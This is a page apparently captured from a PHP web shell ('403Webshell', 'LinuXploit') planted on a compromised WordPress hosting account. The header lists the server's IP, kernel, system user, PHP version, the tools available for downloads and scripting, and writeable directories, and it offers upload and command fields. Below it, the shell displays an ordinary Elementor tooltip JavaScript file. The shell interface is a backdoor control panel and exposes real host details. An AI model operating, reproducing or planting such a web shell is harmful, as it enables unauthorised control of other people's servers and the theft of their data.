403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.165
Web Server : Apache
System : Linux webm004.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : ohklomafyi ( 52085)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ohklomafyi/www/wp-content/plugins/powerpack-lite-for-elementor/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ohklomafyi/www/wp-content/plugins/powerpack-lite-for-elementor/assets/js/frontend-buttons.js
(function ($) {
	$( window ).on( 'elementor/frontend/init', () => {
		class ButtonsWidget extends elementorModules.frontend.handlers.Base {
			getDefaultSettings() {
				return {
					selectors: {
						tooltipButton: '.pp-button[data-tooltip]',
					},
				};
			}

			getDefaultElements() {
				const selectors = this.getSettings( 'selectors' );
				return {
					$tooltipButton: this.$element.find( selectors.tooltipButton ),
				};
			}

			bindEvents() {
				this.initTooltips();
			}

			initTooltips() {
				const $id   = this.getID(),
					ppclass = 'pp-tooltip' + ' pp-tooltip-' + $id,
					button  = this.elements.$tooltipButton;

				button.each( function() {
					const ttOptions  = $(this).data('tooltip');
					let ttipPosition = ttOptions.position;

					const breakpoints = elementorFrontend.config.responsive.activeBreakpoints;

					let shouldSkip = false;
					Object.keys(breakpoints).forEach(breakpointName => {
						if ( shouldSkip ) {
							return;
						}

						if ( window.innerWidth <= breakpoints[breakpointName].value ) {
							if ( undefined != ttOptions['position_' + breakpointName] ) {
								ttipPosition = ttOptions['position_' + breakpointName];
							}

							shouldSkip = true;
    						return;
						}
					});

					button.pptooltipster({
						trigger : 'hover',
						animation : 'fade',
						ppclass : ppclass,
						side : ttipPosition,
						interactive : true,
						positionTracker : true,
						contentCloning : true,
					});
				});
			}
		}

		elementorFrontend.elementsHandler.attachHandler( 'pp-buttons', ButtonsWidget );
	} );
})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit